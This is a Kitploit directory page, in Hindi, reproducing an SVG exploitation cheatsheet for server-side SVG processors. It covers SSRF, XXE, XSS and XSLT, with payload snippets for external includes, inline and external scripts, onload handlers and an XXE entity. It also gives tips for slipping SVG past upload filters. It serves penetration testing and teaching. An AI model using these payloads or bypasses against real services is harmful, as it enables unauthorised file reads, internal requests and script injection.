Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
svg-cheatsheet — सर्वर-साइड SVG प्रोसेसरों के शोषण के लिए एक चीटशीट। | Kitploit
उपकरण/GitHubGitHub/allanlw/svg-cheatsheet
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाचयनित संसाधन
GitHuballanlw/svg-cheatsheet

svg-cheatsheet

सर्वर-साइड SVG प्रोसेसरों के शोषण के लिए एक चीटशीट।

रिपॉजिटरी देखें
802102156 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SVG SSRF चीटशीट

SVG को प्रोसेस करने वाले होस्ट, SVG की समृद्ध फीचर सेट के कारण SSRF, LFI, XSS, RCE के प्रति संवेदनशील हो सकते हैं।

ये सभी विधियाँ एक URI निर्दिष्ट करती हैं, जो absolute या relative हो सकती है। File और HTTP प्रोटोकॉल का परीक्षण करना महत्वपूर्ण है, लेकिन कार्यान्वयन के आधार पर यह अन्य प्रोटोकॉल का भी समर्थन कर सकता है (जैसे PHP स्ट्रीम स्कीम), जिसमें javascript: और data: शामिल हैं।

यह दस्तावेज़ उन सभी तरीकों की सूची है जिनके बारे में मैं SVG में इस कार्यक्षमता का दुरुपयोग करने के बारे में जानता हूँ।

ध्यान दें कि कुछ सेवाएँ जो SVG को इनपुट प्रारूप के रूप में स्वीकार नहीं करने का दावा करती हैं, वास्तव में थोड़े प्रयास से स्वीकार कर लेती हैं।

  • अपलोड के लिए, JPEG/PNG mime प्रकार और फ़ाइलनाम भेजें।
  • डाउनलोड के लिए, JPEG/PNG फ़ाइलनाम और mime प्रकार रखें। यदि अस्वीकार कर दिया जाए, तो URL पर TOCTOU (डबल फ़ेच) की जाँच करें और देखें कि क्या यह रीडायरेक्ट का अनुसरण करता है।
  • मैंने इसे नहीं देखा है, लेकिन Mime स्निफिंग भ्रम संभवतः संभव है, क्योंकि SVG को स्निफ करना कठिन है, क्योंकि यह अतिरिक्त XML गार्बेज से शुरू हो सकता है। वास्तव में, AFAICT मानक file कमांड में कोई SVG मैजिक शामिल नहीं है, इसलिए यह संभवतः व्यक्तिगत कार्यान्वयन पर निर्भर है।

छवियाँ

SVG बाहरी छवियों को सीधे <image> टैग के माध्यम से शामिल कर सकता है।

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

ध्यान दें कि आप इसका उपयोग अन्य SVG छवियों को भी शामिल करने के लिए कर सकते हैं।

<use> टैग

SVG <use> टैग के माध्यम से बाहरी SVG सामग्री शामिल कर सकता है।

file1.svg:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

file2.svg:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS

CSS स्टाइलशीट <link>

SVG, HTML की तरह ही <link> टैग के माध्यम से बाहरी स्टाइलशीट शामिल कर सकता है।

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
	<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

@include के माध्यम से CSS स्टाइलशीट

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

<?xml-stylesheet?> के माध्यम से CSS स्टाइलशीट

<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

XSLT

SVG <?xml-stylesheet?> के माध्यम से XSLT स्टाइलशीट शामिल कर सकते हैं। आश्चर्यजनक रूप से, यह क्रोम में काम करता हुआ प्रतीत होता है।

<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>

नोट: XSLT की प्रकृति के कारण, यदि xml-stylesheet को अनदेखा किया जाता है, तो इनपुट को वास्तव में मान्य SVG फ़ाइल होने की आवश्यकता नहीं है, लेकिन यह फ़िल्टर को बायपास करने के लिए उपयोगी है।

साथ ही, क्योंकि मुझे XSLT सीखने में कोई रुचि नहीं है, यह टेम्पलेट पूरे "पुराने" चित्र को नए से पूरी तरह बदल देता है।

जावास्क्रिप्ट

इनलाइन

SVG, HTML की तरह ही मूल रूप से इनलाइन जावास्क्रिप्ट शामिल कर सकता है।

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>

बाहरी

SVG बाहरी स्क्रिप्ट भी शामिल कर सकता है।

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

इवेंट में इनलाइन

SVG में इनलाइन इवेंट हैंडलर भी हो सकते हैं जो onload पर निष्पादित होते हैं।

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>

आप हैंडलर को एनिमेशन और कुछ अन्य इवेंट्स से भी बाँध सकते हैं। SVG स्पेक पढ़ें।

XXE

क्योंकि SVG XML है, इसमें XXE भी हो सकते हैं:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
  <!-- an internal subset can be embedded here -->
  <!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="20" y="35">My &xxe;</text>
</svg>

<foreignObject>

<foreignObject> टैग अद्भुत है। इसका उपयोग SVG में मनमाना (X)HTML शामिल करने के लिए किया जा सकता है।

उदाहरण के लिए, एक iframe शामिल करने के लिए:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
    
  </foreignObject>
</svg>

यदि आपके पास नेटवर्क एक्सेस नहीं है (जैसे सैंडबॉक्स), तो आप iframe के लक्ष्य के रूप में data URI या javascript uri डाल सकते हैं:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
     
k   
  </foreignObject>
</svg>

यदि आपके पास पर्याप्त SVG नहीं हैं, तो आप <object> या <embed> टैग के माध्यम से और SVG भी शामिल कर सकते हैं। मुझे लगता है कि सैद्धांतिक रूप से वहाँ फ्लैश डालना भी संभव है।

ध्यान दें कि चूँकि आप एक अलग XML नेमस्पेस में हैं, जो कुछ भी केवल svg:script को हटाता है, उसने html:script (या विशेषताओं के लिए समान) को नहीं हटाया हो सकता है।

अन्य

यदि आप कभी ऐसा करना चाहें तो बाहरी फ़ॉन्ट शामिल करना संभव है, मुझे लगता है कि CSS के माध्यम से और नेटिव विशेषताओं के माध्यम से दोनों तरह से। हालाँकि यह वास्तव में उपयोगी नहीं है, क्योंकि वेबफ़ॉन्ट को किसी कारण से CORS की आवश्यकता होती है, जिसे मैं वास्तव में नहीं समझता, जो फ़ॉन्ट संसाधनों के लिए DRM से संबंधित है ताकि हॉटलिंकिंग को रोका जा सके। मुझे लगता है कि कभी-कभी फ़ॉन्ट इंजन की कमज़ोरियाँ होती हैं।

टेक्स्ट

टूल डाउनलोड करें